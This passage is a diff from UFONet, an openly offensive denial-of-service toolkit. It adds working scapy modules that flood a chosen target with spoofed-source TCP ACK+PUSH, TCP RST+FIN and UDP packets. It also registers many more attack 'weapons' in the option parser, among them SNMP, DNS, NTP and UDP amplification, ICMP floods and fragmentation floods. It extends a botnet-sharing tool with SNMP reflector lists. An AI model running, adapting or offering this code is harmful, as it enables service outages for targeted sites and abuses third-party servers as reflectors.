+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet TCP 'ACK+PUSH' packet attack (UFOACK)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def ackize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            seq = randInt()
+            window = randInt()
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [UFOACK] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            TCP_l = TCP()
+            TCP_l.sport = s_zombie_port
+            TCP_l.dport = sport
+            TCP_l.seq = seq
+            TCP_l.window = window
+            TCP_l.flags = "AP" # FLAGS SET (ACK+PUSH)
+            try:
+                send(IP_p/TCP_l, verbose=0)
+                print("[Info] [AI] [UFOACK] Firing 'ionized crystals' ["+str(n)+"] -> [IONIZING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [UFOACK] Failed to engage with 'ionized crystals' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [UFOACK] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class UFOACK(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TCP 'ACK+PUSH' (UFOACK) is ready to fire: [" , rounds, "ionized crystals ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [UFOACK] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        ackize(ip, sport, rounds) # attack with UFOACK using threading

+ 87 - 0
core/mods/uforst.py

@@ -0,0 +1,87 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet TCP 'RST+FIN' packet attack (UFORST)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def rstize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            seq = randInt()
+            window = randInt()
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [UFORST] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            TCP_l = TCP()
+            TCP_l.sport = s_zombie_port
+            TCP_l.dport = sport
+            TCP_l.seq = seq
+            TCP_l.window = window
+            TCP_l.flags = "RF" # FLAGS SET (RST+FIN)
+            try:
+                send(IP_p/TCP_l, verbose=0)
+                print("[Info] [AI] [UFORST] Firing 'crystalized stones' ["+str(n)+"] -> [CRYSTALIZING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [UFORST] Failed to engage with 'crystalized stones' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [UFORST] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class UFORST(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TCP 'RST+FIN' (UFORST) is ready to fire: [" , rounds, "crystalized stones ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [UFORST] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        rstize(ip, sport, rounds) # attack with UFORST using threading

+ 78 - 0
core/mods/ufoudp.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet UDP flooder (UFOUDP)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def ufoudpize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [UFOUDP] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            try:
+                send(IP_p/UDP(), verbose=0)
+                print("[Info] [AI] [UFOUDP] Firing 'positron rays' ["+str(n)+"] -> [SHOOTING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [UFOUDP] Failed to engage with 'positron rays' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [UFOUDP] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class UFOUDP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] UDP (UFOUDP) is ready to fire: [" , rounds, "positron rays ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [UFOUDP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        ufoudpize(ip, sport, rounds) # attack with UFOUDP using threading

+ 68 - 40
core/options.py

@@ -20,6 +20,7 @@ class UFONetOptions(optparse.OptionParser):
         self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
         self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
         self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dnss'
         self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dnss'
         self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
         self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
+        self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmp'
         self.dorks_file = "botnet/dorks.txt" # set source path to retrieve 'dorks'
         self.dorks_file = "botnet/dorks.txt" # set source path to retrieve 'dorks'
         self.sengines = self.extract_sengines()
         self.sengines = self.extract_sengines()
         self.zombies = int(self.extract_zombies())
         self.zombies = int(self.extract_zombies())
@@ -29,13 +30,14 @@ class UFONetOptions(optparse.OptionParser):
         self.rpcs = int(self.extract_rpcs())
         self.rpcs = int(self.extract_rpcs())
         self.dnss = int(self.extract_dnss())
         self.dnss = int(self.extract_dnss())
         self.ntps = int(self.extract_ntps())
         self.ntps = int(self.extract_ntps())
+        self.snmps = int(self.extract_snmps())
         self.dorks = int(self.extract_dorks())
         self.dorks = int(self.extract_dorks())
         self.tools = self.extract_tools()
         self.tools = self.extract_tools()
         self.etools = self.extra_tools()
         self.etools = self.extra_tools()
         self.weapons = self.extract_weapons()
         self.weapons = self.extract_weapons()
         self.ebotnet = self.electronic_botnet()
         self.ebotnet = self.electronic_botnet()
         self.eweapons = self.extra_weapons()
         self.eweapons = self.extra_weapons()
-        self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs+self.dnss+self.ntps)
+        self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs+self.dnss+self.ntps+self.snmps)
         self.d_energy = self.extract_d_energy()
         self.d_energy = self.extract_d_energy()
         self.y_energy = self.extract_y_energy()
         self.y_energy = self.extract_y_energy()
         self.x_energy = self.extract_x_energy()
         self.x_energy = self.extract_x_energy()
@@ -43,7 +45,7 @@ class UFONetOptions(optparse.OptionParser):
         optparse.OptionParser.__init__(self, 
         optparse.OptionParser.__init__(self, 
         description='\n{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}',
         description='\n{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}',
         prog='./ufonet',
         prog='./ufonet',
-        version='\nCode: v1.5 [MLV] - "MuLTi.V3rSe!"\n')
+        version='\nCode: 1.6 '+"\u25BC "+'[MR3] [ M4RAuD3R ] '+"\u25BC"+'\n')
         self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
         self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
         self.add_option("--examples", action="store_true", dest="examples", help="print some examples")
         self.add_option("--examples", action="store_true", dest="examples", help="print some examples")
         self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline")
         self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline")
@@ -101,32 +103,40 @@ class UFONetOptions(optparse.OptionParser):
         group5.add_option("-x", action="store", dest="abduction", help="Examine webserver configuration (+CVE, +WAF detection)")
         group5.add_option("-x", action="store", dest="abduction", help="Examine webserver configuration (+CVE, +WAF detection)")
         self.add_option_group(group5)
         self.add_option_group(group5)
         group6 = optparse.OptionGroup(self, "*Configure Attack(s)*")
         group6 = optparse.OptionGroup(self, "*Configure Attack(s)*")
-        group6.add_option("-a", action="store", dest="target", help="[DDoS] attack an URL (ex: -a 'http(s)://target.com')")
+        group6.add_option("-a", action="store", dest="target", help="[DDoS] attack a target (ex: -a 'http(s)://target.com')")
         group6.add_option("-f", action="store", dest="target_list", help="[DDoS] attack a list of targets (ex: -f 'targets.txt')")
         group6.add_option("-f", action="store", dest="target_list", help="[DDoS] attack a list of targets (ex: -f 'targets.txt')")
         group6.add_option("-b", action="store", dest="place", help="Set place to attack (ex: -b '/path/big.jpg')")
         group6.add_option("-b", action="store", dest="place", help="Set place to attack (ex: -b '/path/big.jpg')")
         group6.add_option("-r", action="store", dest="rounds", help="Set number of rounds (ex: -r '1000') (default: 1)")
         group6.add_option("-r", action="store", dest="rounds", help="Set number of rounds (ex: -r '1000') (default: 1)")
         self.add_option_group(group6)
         self.add_option_group(group6)
         group7 = optparse.OptionGroup(self, "*Extra Configuration(s)*")
         group7 = optparse.OptionGroup(self, "*Extra Configuration(s)*")
-        group7.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'aliens' web abuse")
-        group7.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'droids' redirectors")
-        group7.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'xml-rpcs' reflectors")
-        group7.add_option("--no-ucavs", action="store_true", dest="disableucavs", help="Disable 'ucavs' checkers")
+        group7.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'DROIDS' redirectors")
+        group7.add_option("--no-ucavs", action="store_true", dest="disableucavs", help="Disable 'UCAVS' checkers")
+        group7.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'ALIENS' web abuse")
+        group7.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'XML-RPCs' reflectors")
         group7.add_option("--no-head", action="store_true", dest="disablehead", help="Disable 'Is target up?' starting check")
         group7.add_option("--no-head", action="store_true", dest="disablehead", help="Disable 'Is target up?' starting check")
         group7.add_option("--no-scan", action="store_true", dest="disablescanner", help="Disable 'Scan shields' round check")
         group7.add_option("--no-scan", action="store_true", dest="disablescanner", help="Disable 'Scan shields' round check")
         group7.add_option("--no-purge", action="store_true", dest="disablepurge", help="Disable 'Zombies purge' round check")
         group7.add_option("--no-purge", action="store_true", dest="disablepurge", help="Disable 'Zombies purge' round check")
         group7.add_option("--expire", action="store", dest="expire", help="Set expire time for 'Zombies purge' (default: 30)")
         group7.add_option("--expire", action="store", dest="expire", help="Set expire time for 'Zombies purge' (default: 30)")
         self.add_option_group(group7)
         self.add_option_group(group7)
         group8 = optparse.OptionGroup(self, "*Extra Attack(s)*")
         group8 = optparse.OptionGroup(self, "*Extra Attack(s)*")
-        group8.add_option("--db", action="store", dest="dbstress", help="[DDoS] 'HTTP DB' attack (ex: --db 'search.php?q=')")
-        group8.add_option("--spray", action="store", dest="spray", help="[DDoS] 'TCP-SYN reflection' attack (ex: --spray 100)")
-        group8.add_option("--smurf", action="store", dest="smurf", help="[DDoS] 'ICMP broadcast' attack (ex: --smurf 101)")
-        group8.add_option("--tachyon", action="store", dest="tachyon", help="[DDoS] 'DNS amplification' attack (ex: --tachyon 1000)")
-        group8.add_option("--monlist", action="store", dest="monlist", help="[DDoS] 'NTP amplification' attack (ex: --monlist 1001)")
-        group8.add_option("--loic", action="store", dest="loic", help="[ DoS] 'HTTP fast' attack (ex: --loic 100)")
-        group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP slow' attack (ex: --loris 101)")
-        group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' attack (ex: --ufosyn 100)")
-        group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' attack (ex: --xmas 101)")
-        group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION' attack (ex: --nuke 10000)")
+        group8.add_option("--fraggle", action="store", dest="fraggle", help="[DDoS] 'UDP amplification' (ex: --fraggle 101)")
+        group8.add_option("--tachyon", action="store", dest="tachyon", help="[DDoS] 'DNS amplification' (ex: --tachyon 101)")
+        group8.add_option("--monlist", action="store", dest="monlist", help="[DDoS] 'NTP amplification' (ex: --monlist 101)")
+        group8.add_option("--smurf", action="store", dest="smurf", help="[DDoS] 'ICMP amplification' (ex: --smurf 101)")
+        group8.add_option("--sniper", action="store", dest="sniper", help="[DDoS] 'SNMP amplification' (ex: --sniper 101)")
+        group8.add_option("--spray", action="store", dest="spray", help="[DDoS] 'TCP-SYN reflection' (ex: --spray 101)")
+        group8.add_option("--db", action="store", dest="dbstress", help="[DDoS] 'HTTP-DB flood' (ex: --db 'search.php?q=')")
+        group8.add_option("--loic", action="store", dest="loic", help="[ DoS] 'HTTP-FAST flood' (ex: --loic 101)")
+        group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP-SLOW flood' (ex: --loris 101)")
+        group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' (ex: --ufosyn 101)")
+        group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' (ex: --xmas 101)")
+        group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION flood' (ex: --nuke 101)")
+        group8.add_option("--ufoack", action="store", dest="ufoack", help="[ DoS] 'TCP-ACK flood' (ex: --ufoack 101)")
+        group8.add_option("--uforst", action="store", dest="uforst", help="[ DoS] 'TCP-RST flood' (ex: --uforst 101)")
+        group8.add_option("--droper", action="store", dest="droper", help="[ DoS] 'IP-FRAGMENTATION flood' (ex: --droper 101)")
+        group8.add_option("--overlap", action="store", dest="overlap", help="[ DoS] 'IP-OVERLAP flood' (ex: --overlap 101)")
+        group8.add_option("--pinger", action="store", dest="pinger", help="[ DoS] 'ICMP flood' (ex: --pinger 101)")
+        group8.add_option("--ufoudp", action="store", dest="ufoudp", help="[ DoS] 'UDP flood' (ex: --ufoudp 101)")
         self.add_option_group(group8)
         self.add_option_group(group8)
 
 
     def extract_sengines(self):
     def extract_sengines(self):
@@ -159,31 +169,40 @@ class UFONetOptions(optparse.OptionParser):
         return etools
         return etools
 
 
     def extract_weapons(self):
     def extract_weapons(self):
-        weapons = ["DBSTRESSER", "SPRAY", "SMURF", "TACHYON", "MONLIST", "LOIC", "LORIS", "UFOSYN", "XMAS", "NUKE"]
+        weapons = ["SMURF", "TACHYON", "MONLIST", "SNIPER", "SPRAY", "DBSTRESS", "LOIC", "LORIS", "UFOSYN", "XMAS", "NUKE", "UFOACK", "UFORST", "DROPER", "OVERLAP", "PINGER", "UFOUPD", "FRAGGLE"]
         weapons = len(weapons)
         weapons = len(weapons)
         return weapons
         return weapons
 
 
     def extra_weapons(self):
     def extra_weapons(self):
-        eweapons =  '\n     _> DBSTRESS                   * [DDoS] HTTP DB Stresser'
-        eweapons += '\n     _> SPRAY                      * [DDoS] TCP SYN-Reflector'
-        eweapons += '\n     _> SMURF                      * [DDoS] ICMP Broadcaster'
+        eweapons = '\n     _> FRAGGLE                    * [DDoS] UDP Amplificator'
         eweapons += '\n     _> TACHYON                    * [DDoS] DNS Amplificator'
         eweapons += '\n     _> TACHYON                    * [DDoS] DNS Amplificator'
         eweapons += '\n     _> MONLIST                    * [DDoS] NTP Amplificator'
         eweapons += '\n     _> MONLIST                    * [DDoS] NTP Amplificator'
-        eweapons += '\n     _> LOIC                       * [ DoS] HTTP Fast-Requester'
-        eweapons += '\n     _> LORIS                      * [ DoS] HTTP Slow-Requester'
-        eweapons += '\n     _> UFOSYN                     * [ DoS] TCP SYN-Flag Flooder'
-        eweapons += '\n     _> XMAS                       * [ DoS] TCP XMAS-Flag Flooder'
-        eweapons += '\n     _> NUKE                       * [ DoS] TCP STARVATION Flooder'
+        eweapons += '\n     _> SMURF                      * [DDoS] ICMP Amplificator'
+        eweapons += '\n     _> SNIPER                     * [DDoS] SNMP Amplificator'
+        eweapons += '\n     _> SPRAY                      * [DDoS] TCP SYN Reflector'
+        eweapons += '\n     _> DBSTRESS                   * [DDoS] HTTP-DB Stresser'
+        eweapons += '\n     _> LOIC                       * [ DoS] HTTP-FAST Requester'
+        eweapons += '\n     _> LORIS                      * [ DoS] HTTP-SLOW Requester'
+        eweapons += '\n     _> UFOSYN                     * [ DoS] TCP-SYN Flooder'
+        eweapons += '\n     _> XMAS                       * [ DoS] TCP-XMAS Flooder'
+        eweapons += '\n     _> NUKE                       * [ DoS] TCP-STARVATION Flooder'
+        eweapons += '\n     _> UFOACK                     * [ DoS] TCP-ACK Flooder'
+        eweapons += '\n     _> UFORST                     * [ DoS] TCP-RST Flooder'
+        eweapons += '\n     _> DROPER                     * [ DoS] IP-FRAGMENTATION Flooder'
+        eweapons += '\n     _> OVERLAP                    * [ DoS] IP-OVERLAP Flooder'
+        eweapons += '\n     _> PINGER                     * [ DoS] ICMP Flooder'
+        eweapons += '\n     _> UFOUDP                     * [ DoS] UDP Flooder'
         return eweapons
         return eweapons
 
 
     def electronic_botnet(self):
     def electronic_botnet(self):
-        ebotnet =  '\n     _> ALIENS        [ '+ format(int(self.aliens), '06d')+ ' ]   * HTTP POST'
-        ebotnet += '\n     _> DROIDS        [ '+ format(int(self.droids), '06d')+ ' ]   * HTTP GET (complex)'
-        ebotnet += '\n     _> UCAVs         [ '+ format(int(self.ucavs), '06d')+ ' ]   * WebAbuse'
-        ebotnet += '\n     _> X-RPCs        [ '+ format(int(self.rpcs), '06d')+ ' ]   * PingBack XML-RPC exploit'
-        ebotnet += '\n     _> ZOMBIES       [ '+ format(int(self.zombies), '06d')+ ' ]   * HTTP GET (simple)'
-        ebotnet += '\n     _> DNSs          [ '+ format(int(self.dnss), '06d')+ ' ]   * DNS (reflectors)'
-        ebotnet += '\n     _> NTPs          [ '+ format(int(self.ntps), '06d')+ ' ]   * NTP (reflectors)'
+        ebotnet = '\n     _> ZOMBIES       [ '+ format(int(self.zombies), '08d')+ ' ]   * HTTP GET (simple)'
+        ebotnet += '\n     _> DROIDS        [ '+ format(int(self.droids), '08d')+ ' ]   * HTTP GET (complex)'
+        ebotnet += '\n     _> UCAVs         [ '+ format(int(self.ucavs), '08d')+ ' ]   * WebAbuse (multiple)'
+        ebotnet += '\n     _> ALIENS        [ '+ format(int(self.aliens), '08d')+ ' ]   * HTTP POST'
+        ebotnet += '\n     _> X-RPCs        [ '+ format(int(self.rpcs), '08d')+ ' ]   * XML-RPC'
+        ebotnet += '\n     _> DNSs          [ '+ format(int(self.dnss), '08d')+ ' ]   * DNS'
+        ebotnet += '\n     _> NTPs          [ '+ format(int(self.ntps), '08d')+ ' ]   * NTP'
+        ebotnet += '\n     _> SNMPs         [ '+ format(int(self.snmps), '08d')+ ' ]   * SNMP'
         return ebotnet
         return ebotnet
 
 
     def extract_zombies(self):
     def extract_zombies(self):
@@ -249,6 +268,15 @@ class UFONetOptions(optparse.OptionParser):
             ntps = "broken!"
             ntps = "broken!"
         return ntps
         return ntps
 
 
+    def extract_snmps(self):
+        try:
+            f = open(self.snmps_file)
+            snmps = len(f.readlines())
+            f.close()
+        except:
+            snmps = "broken!"
+        return snmps
+
     def extract_dorks(self):
     def extract_dorks(self):
         try:
         try:
             f = open(self.dorks_file)
             f = open(self.dorks_file)
@@ -292,14 +320,14 @@ class UFONetOptions(optparse.OptionParser):
             print(self.description, "\n")
             print(self.description, "\n")
             print('='*75)
             print('='*75)
             self.version = self.version.replace("\n","")
             self.version = self.version.replace("\n","")
-            print('\n  '+"\u25BC "+self.version+" \u25BC"'\n')
+            print('\n  '+"\u25BC "+self.version+'\n')
             print("-"*75+"\n")
             print("-"*75+"\n")
-            print(' -> _BOTNET [DDoS]:   [', format(int(self.total_botnet), '06d'),'] '+"\u25BC"+' Bots (Available)'+ self.ebotnet)
-            print('\n -> _DORKS:           [', format(int(self.dorks), '06d'), '] '+"\u25BC"+' Open Redirect (CWE-601) patterns')
-            print('     _> ENGINES       [', format(int(self.sengines), '06d'), ']   * Dorking providers (Working)')
-            print('\n -> _TOOLS:           [', format(int(self.tools), '06d'),'] '+"\u25BC"+' Extra Tools (Misc)'+self.etools)
-            print('\n -> _WEAPONS:         [', format(int(self.weapons), '06d'),'] '+"\u25BC"+' Extra Attacks (Weapons)'+ self.eweapons)
-            print('\n -> _X-ENERGY [X'+"\u2091"+''+"\N{SUBSCRIPT EIGHT}"+']:  [', format(int(self.x_energy), '06d'),'] '+"\u25BC"+' '+self.formula+'\n')
+            print(' -> _BOTNET [DDoS]:   [', format(int(self.total_botnet), '08d'),'] '+"\u25BC"+' Bots (Available)'+ self.ebotnet)
+            print('\n -> _DORKS:           [', format(int(self.dorks), '08d'), '] '+"\u25BC"+' Open Redirect (CWE-601) patterns')
+            print('     _> ENGINES       [', format(int(self.sengines), '08d'), ']   * Dorking providers (Working)')
+            print('\n -> _TOOLS:           [', format(int(self.tools), '08d'),'] '+"\u25BC"+' Extra Tools (Misc)'+self.etools)
+            print('\n -> _WEAPONS:         [', format(int(self.weapons), '08d'),'] '+"\u25BC"+' Extra Attacks (DDoS & DoS)'+ self.eweapons)
+            print('\n -> _X-ENERGY [X'+"\u2091"+''+"\N{SUBSCRIPT EIGHT}"+']:  [', format(int(self.x_energy), '08d'),'] '+"\u25BC"+' '+self.formula+'\n')
             print("-"*75+"\n")
             print("-"*75+"\n")
             print(" -> _HELP:            ./ufonet --help (or ./ufonet -h)")
             print(" -> _HELP:            ./ufonet --help (or ./ufonet -h)")
             print(' -> _EXAMPLES:        ./ufonet --examples')
             print(' -> _EXAMPLES:        ./ufonet --examples')

+ 62 - 15
core/tools/blackhole.py

@@ -40,6 +40,7 @@ class AI(Thread):
         rpcs_incoming=[]
         rpcs_incoming=[]
         ntps_incoming=[]
         ntps_incoming=[]
         dnss_incoming=[]
         dnss_incoming=[]
+        snmps_incoming=[]
         for meat in self.meats:
         for meat in self.meats:
             f_in = gzip.open(self.tmp_dir+"blackhole/"+meat)
             f_in = gzip.open(self.tmp_dir+"blackhole/"+meat)
             if 'community_zombies.txt.gz' in f_in: # zombies found
             if 'community_zombies.txt.gz' in f_in: # zombies found
@@ -84,6 +85,12 @@ class AI(Thread):
                     dnss_incoming.append(line)
                     dnss_incoming.append(line)
                     f_out.write(line.strip()+os.linesep)
                     f_out.write(line.strip()+os.linesep)
                 f_out.close()
                 f_out.close()
+            elif 'community_snmps.txt.gz' in f_in: # snmps found
+                f_out = open(self.tmp_dir+'glass.txt', 'wb')
+                for line in f_in.readlines():
+                    snmps_incoming.append(line)
+                    f_out.write(line.strip()+os.linesep)
+                f_out.close()
             f_in.close()
             f_in.close()
             os.remove(self.tmp_dir+"blackhole/"+meat)
             os.remove(self.tmp_dir+"blackhole/"+meat)
         import subprocess
         import subprocess
@@ -194,7 +201,7 @@ class AI(Thread):
             f_tested = open(self.tmp_dir+'clock.txt')
             f_tested = open(self.tmp_dir+'clock.txt')
             ntps_community = f_tested.readlines()
             ntps_community = f_tested.readlines()
             f_tested.close()
             f_tested.close()
-            o_in = gzip.open(self.target_dir+'crystals.txt.gz', 'rb')
+            o_in = gzip.open(self.target_dir+'warps.txt.gz', 'rb')
             ntps_army = o_in.readlines()
             ntps_army = o_in.readlines()
             initial = len(ntps_army)
             initial = len(ntps_army)
             o_in.close()
             o_in.close()
@@ -207,12 +214,12 @@ class AI(Thread):
             for ntp in ntps_army:
             for ntp in ntps_army:
                 fc.write(ntp.strip()+os.linesep)
                 fc.write(ntp.strip()+os.linesep)
             fc.close()
             fc.close()
-            shutil.move(self.tmp_dir+'newntps.txt.gz', self.target_dir+'crystals.txt.gz')
+            shutil.move(self.tmp_dir+'newntps.txt.gz', self.target_dir+'warps.txt.gz')
             print("[Info] [AI] NTPs tested : " +str(len(ntps_community)) + " / initial : " +str(initial) + " / final : " + str(len(ntps_army)))
             print("[Info] [AI] NTPs tested : " +str(len(ntps_community)) + " / initial : " +str(initial) + " / final : " + str(len(ntps_army)))
             f_tested = open(self.tmp_dir+'label.txt')
             f_tested = open(self.tmp_dir+'label.txt')
             dnss_community = f_tested.readlines()
             dnss_community = f_tested.readlines()
             f_tested.close()
             f_tested.close()
-            o_in = gzip.open(self.target_dir+'warps.txt.gz', 'rb')
+            o_in = gzip.open(self.target_dir+'crystals.txt.gz', 'rb')
             dnss_army = o_in.readlines()
             dnss_army = o_in.readlines()
             initial = len(dnss_army)
             initial = len(dnss_army)
             o_in.close()
             o_in.close()
@@ -225,8 +232,26 @@ class AI(Thread):
             for dns in dnss_army:
             for dns in dnss_army:
                 fc.write(dns.strip()+os.linesep)
                 fc.write(dns.strip()+os.linesep)
             fc.close()
             fc.close()
-            shutil.move(self.tmp_dir+'newdnss.txt.gz', self.target_dir+'warps.txt.gz')
+            shutil.move(self.tmp_dir+'newdnss.txt.gz', self.target_dir+'crystals.txt.gz')
             print("[Info] [AI] DNSs tested : " +str(len(dnss_community)) + " / initial : " +str(initial) + " / final : " + str(len(dnss_army)))
             print("[Info] [AI] DNSs tested : " +str(len(dnss_community)) + " / initial : " +str(initial) + " / final : " + str(len(dnss_army)))
+            f_tested = open(self.tmp_dir+'glass.txt')
+            snmps_community = f_tested.readlines()
+            f_tested.close()
+            o_in = gzip.open(self.target_dir+'bosons.txt.gz', 'rb')
+            snmps_army = o_in.readlines()
+            initial = len(snmps_army)
+            o_in.close()
+            for snmp in snmps_community:
+                if snmp.strip() not in snmps_army:
+                    snmps_army.append(snmp)
+                else:
+                    pass
+            fc = gzip.open(self.tmp_dir+'newsnmps.txt.gz', 'wb')
+            for snmp in snmps_army:
+                fc.write(snmp.strip()+os.linesep)
+            fc.close()
+            shutil.move(self.tmp_dir+'newsnmps.txt.gz', self.target_dir+'bosons.txt.gz')
+            print("[Info] [AI] SNMPs tested : " +str(len(snmps_community)) + " / initial : " +str(initial) + " / final : " + str(len(snmps_army)))
 
 
     def run(self):
     def run(self):
         self.power_on = True
         self.power_on = True
@@ -294,6 +319,7 @@ class Eater(Thread):
         rpc_meat = "community_rpcs.txt.gz"
         rpc_meat = "community_rpcs.txt.gz"
         ntp_meat = "community_ntps.txt.gz"
         ntp_meat = "community_ntps.txt.gz"
         dns_meat = "community_dnss.txt.gz"
         dns_meat = "community_dnss.txt.gz"
+        snmp_meat = "community_snmps.txt.gz"
         while 1:
         while 1:
             data = self.client.recv(1024)
             data = self.client.recv(1024)
             if not data:
             if not data:
@@ -330,7 +356,7 @@ class Eater(Thread):
